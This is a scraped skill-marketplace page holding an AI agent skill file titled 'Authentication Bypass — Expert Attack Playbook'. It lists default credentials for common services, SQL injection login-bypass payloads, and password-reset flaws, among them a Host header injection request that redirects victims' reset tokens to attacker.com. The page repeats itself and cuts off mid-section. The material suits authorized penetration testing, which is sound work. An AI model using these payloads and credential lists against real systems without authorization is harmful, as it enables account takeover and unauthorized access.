authbypass-authentication-flaws

Name: authbypass-authentication-flaws
Author: Prohao42

91stars8forks

How to install authbypass-authentication-flaws?

prohao42/aimy-skill/authbypass-authentication-flaws

$npx -y skills add Prohao42/aimy-skill --skill authbypass-authentication-flaws

Installs into the current project.

Summary

--- name: authbypass-authentication-flaws description: >- Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Authentication Bypass — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.
4
5	## 0. AUTHORIZED CREDENTIAL TEST PLANNING
6
7	After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.
8
9	### Service-first tiny sets
10
11	\| Service Type \| First Usernames \| First Passwords \|
12	\|---\|---\|---\|
13	\| phpMyAdmin \| `root`, `admin` \| empty, `root`, `phpmyadmin`, `admin` \|
14	\| FTP \| `ftp`, `admin`, `test` \| empty, `ftp`, `admin`, `123456` \|
15	\| SSH \| `root`, `admin`, service account names \| `root`, `admin`, seasonal variants \|
16	\| MySQL \| `root`, `mysql` \| empty, `root`, `mysql` \|
17	\| Tomcat / Java admin \| `tomcat`, `admin`, `manager` \| `tomcat`, `admin`, `s3cret` \|
18	\| WebLogic \| `weblogic`, `admin` \| `weblogic`, `welcome1`, `admin` \|
19
20	### Username classes
21
22	\| Class \| Examples \|
23	\|---\|---\|
24	\| Generic admins \| `admin`, `administrator`, `root`, `test`, `guest` \|
25	\| Support / ops \| `dev`, `ops`, `sysadmin`, `service`, `backup` \|
26	\| Name-based \| `firstname`, `lastname`, `f.lastname`, `first.last` \|
27	\| Mail-derived \| left side of corporate email formats \|
28	\| Product-based \| `tomcat`, `weblogic`, `jenkins`, `gitlab` \|
29
30	### Wordlist sizing and port focus
31
32	\| Scenario \| Preferred Size \| Why \|
33	\|---\|---\|---\|
34	\| Default admin panel \| 5 to 50 passwords \| Defaults beat giant lists here \|
35	\| Internal service with known product \| vendor-specific small set \| Better signal than generic lists \|
36	\| Consumer login with weak controls \| Top 20 or Top 100 \| Fast verification \|
37	\| Rate-limited login \| tiny list + header/rotation strategy \| Preserve attempts \|
38	\| Offline hash cracking \| large dictionaries \| Online brute rules do not apply \|
39
40	Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.
41
42	---
43
44	## 1. SQL INJECTION LOGIN BYPASS
45
46	Classic but still found in legacy systems, custom ORMs, and raw query code:
47
48	```sql
49	-- Basic bypass (admin user assumed first row):
50	Username: admin'--
51	Password: anything
52	→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'
53
54	-- Generic bypass (logs in as first user in DB):
55	Username: ' OR '1'='1'--
56	Password: anything
57	→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'
58
59	-- Blind: does this work?
60	Username: ' OR 1=1--
61	Username: admin' OR 'a'='a
62	Username: 1' OR '1'='1'/*
63	Username: 1 or 1=1
64	```
65
66	Test each field separately — only one field may be vulnerable.
67
68	---
69
70	## 2. PASSWORD RESET VULNERABILITIES
71
72	### Guessable / Predictable Reset Tokens
73
74	Check if reset token is based on:
75	```
76	- Timestamp: token=1691234567890 (Unix time)
77	- Sequential: token=1001, 1002, 1003
78	- MD5(email): echo -n "user@example.com" \| md5sum
79	- MD5(username+timestamp): reversible
80	- Short token (4-6 digits): brute-forceable
81	```
82
83	Test: Request 3 consecutive reset emails, compare token patterns.
84
85	### Reset Token Not Expiring
86	```
87	1. Request password reset → get token via email
88	2. Wait 48+ hours (token should expire)
89	3. Use old token → does it work?
90	```
91
92	### Reset Token Reuse
93	```
94	1. Request reset → get token T1
95	2. Complete reset with T1
96	3. Use T1 again → does it work again?
97	```
98
99	### Host Header Injection in Reset Email
100	When application generates reset URL using `Host` header:
101	```http
102	POST /forgot-password HTTP/1.1
103	Host: attacker.com ← inject attacker's domain
104	Content-Type: application/x-www-form-urlencoded
105
106	email=victim@target.com
107	```
108	→ Reset email sent to victim with link pointing to `attacker.com/reset?token=VICTIM_TOKEN`
109	→ Victim clicks → token captured by attacker
110
111	Test: Send password reset with modified `Host:`, check email for where reset link points.
112
113	### Password Reset Token in Referer
114	```
115	1. Request reset → go to reset URL with token
116	2. Reset page loads third-party resources (analytics, fonts)
117	→ Referer header leaks: https://target.com/reset?token=TOKEN
118	→ Third-party server receives token in logs
119	```
120
121	### Password Change Without Current Password
122	```
123	PUT /api/user/password
124	{"new_password": "hacked"}
125	→ No current_password field required?
126	→ Combine with CSRF for account takeover
127	```
128
129	---
130
131	## 3. ACCOUNT ENUMERATION
132
133	Identifying valid usernames/emails enables targeted attacks:
134
135	### Error Message Difference
136	```
137	Invalid username → "User not found"
138	Valid user

People who liked this also viewed

6 picks

Type

authbypass-authentication-flaws

91stars8forks

View on GitHub

How to install authbypass-authentication-flaws?

prohao42/aimy-skill/authbypass-authentication-flaws

$npx -y skills add Prohao42/aimy-skill --skill authbypass-authentication-flaws

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Authentication Bypass — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.
4
5	## 0. AUTHORIZED CREDENTIAL TEST PLANNING
6
7	After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.
8
9	### Service-first tiny sets
10
11	\| Service Type \| First Usernames \| First Passwords \|
12	\|---\|---\|---\|
13	\| phpMyAdmin \| `root`, `admin` \| empty, `root`, `phpmyadmin`, `admin` \|
14	\| FTP \| `ftp`, `admin`, `test` \| empty, `ftp`, `admin`, `123456` \|
15	\| SSH \| `root`, `admin`, service account names \| `root`, `admin`, seasonal variants \|
16	\| MySQL \| `root`, `mysql` \| empty, `root`, `mysql` \|
17	\| Tomcat / Java admin \| `tomcat`, `admin`, `manager` \| `tomcat`, `admin`, `s3cret` \|
18	\| WebLogic \| `weblogic`, `admin` \| `weblogic`, `welcome1`, `admin` \|
19
20	### Username classes
21
22	\| Class \| Examples \|
23	\|---\|---\|
24	\| Generic admins \| `admin`, `administrator`, `root`, `test`, `guest` \|
25	\| Support / ops \| `dev`, `ops`, `sysadmin`, `service`, `backup` \|
26	\| Name-based \| `firstname`, `lastname`, `f.lastname`, `first.last` \|
27	\| Mail-derived \| left side of corporate email formats \|
28	\| Product-based \| `tomcat`, `weblogic`, `jenkins`, `gitlab` \|
29
30	### Wordlist sizing and port focus
31
32	\| Scenario \| Preferred Size \| Why \|
33	\|---\|---\|---\|
34	\| Default admin panel \| 5 to 50 passwords \| Defaults beat giant lists here \|
35	\| Internal service with known product \| vendor-specific small set \| Better signal than generic lists \|
36	\| Consumer login with weak controls \| Top 20 or Top 100 \| Fast verification \|
37	\| Rate-limited login \| tiny list + header/rotation strategy \| Preserve attempts \|
38	\| Offline hash cracking \| large dictionaries \| Online brute rules do not apply \|
39
40	Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.
41
42	---
43
44	## 1. SQL INJECTION LOGIN BYPASS
45
46	Classic but still found in legacy systems, custom ORMs, and raw query code:
47
48	```sql
49	-- Basic bypass (admin user assumed first row):
50	Username: admin'--
51	Password: anything
52	→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'
53
54	-- Generic bypass (logs in as first user in DB):
55	Username: ' OR '1'='1'--
56	Password: anything
57	→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'
58
59	-- Blind: does this work?
60	Username: ' OR 1=1--
61	Username: admin' OR 'a'='a
62	Username: 1' OR '1'='1'/*
63	Username: 1 or 1=1
64	```
65
66	Test each field separately — only one field may be vulnerable.
67
68	---
69
70	## 2. PASSWORD RESET VULNERABILITIES
71
72	### Guessable / Predictable Reset Tokens
73
74	Check if reset token is based on:
75	```
76	- Timestamp: token=1691234567890 (Unix time)
77	- Sequential: token=1001, 1002, 1003
78	- MD5(email): echo -n "user@example.com" \| md5sum
79	- MD5(username+timestamp): reversible
80	- Short token (4-6 digits): brute-forceable
81	```
82
83	Test: Request 3 consecutive reset emails, compare token patterns.
84
85	### Reset Token Not Expiring
86	```
87	1. Request password reset → get token via email
88	2. Wait 48+ hours (token should expire)
89	3. Use old token → does it work?
90	```
91
92	### Reset Token Reuse
93	```
94	1. Request reset → get token T1
95	2. Complete reset with T1
96	3. Use T1 again → does it work again?
97	```
98
99	### Host Header Injection in Reset Email
100	When application generates reset URL using `Host` header:
101	```http
102	POST /forgot-password HTTP/1.1
103	Host: attacker.com ← inject attacker's domain
104	Content-Type: application/x-www-form-urlencoded
105
106	email=victim@target.com
107	```
108	→ Reset email sent to victim with link pointing to `attacker.com/reset?token=VICTIM_TOKEN`
109	→ Victim clicks → token captured by attacker
110
111	Test: Send password reset with modified `Host:`, check email for where reset link points.
112
113	### Password Reset Token in Referer
114	```
115	1. Request reset → go to reset URL with token
116	2. Reset page loads third-party resources (analytics, fonts)
117	→ Referer header leaks: https://target.com/reset?token=TOKEN
118	→ Third-party server receives token in logs
119	```
120
121	### Password Change Without Current Password
122	```
123	PUT /api/user/password
124	{"new_password": "hacked"}
125	→ No current_password field required?
126	→ Combine with CSRF for account takeover
127	```
128
129	---
130
131	## 3. ACCOUNT ENUMERATION
132
133	Identifying valid usernames/emails enables targeted attacks:
134
135	### Error Message Difference
136	```
137	Invalid username → "User not found"
138	Valid user

People who liked this also viewed

6 picks

Type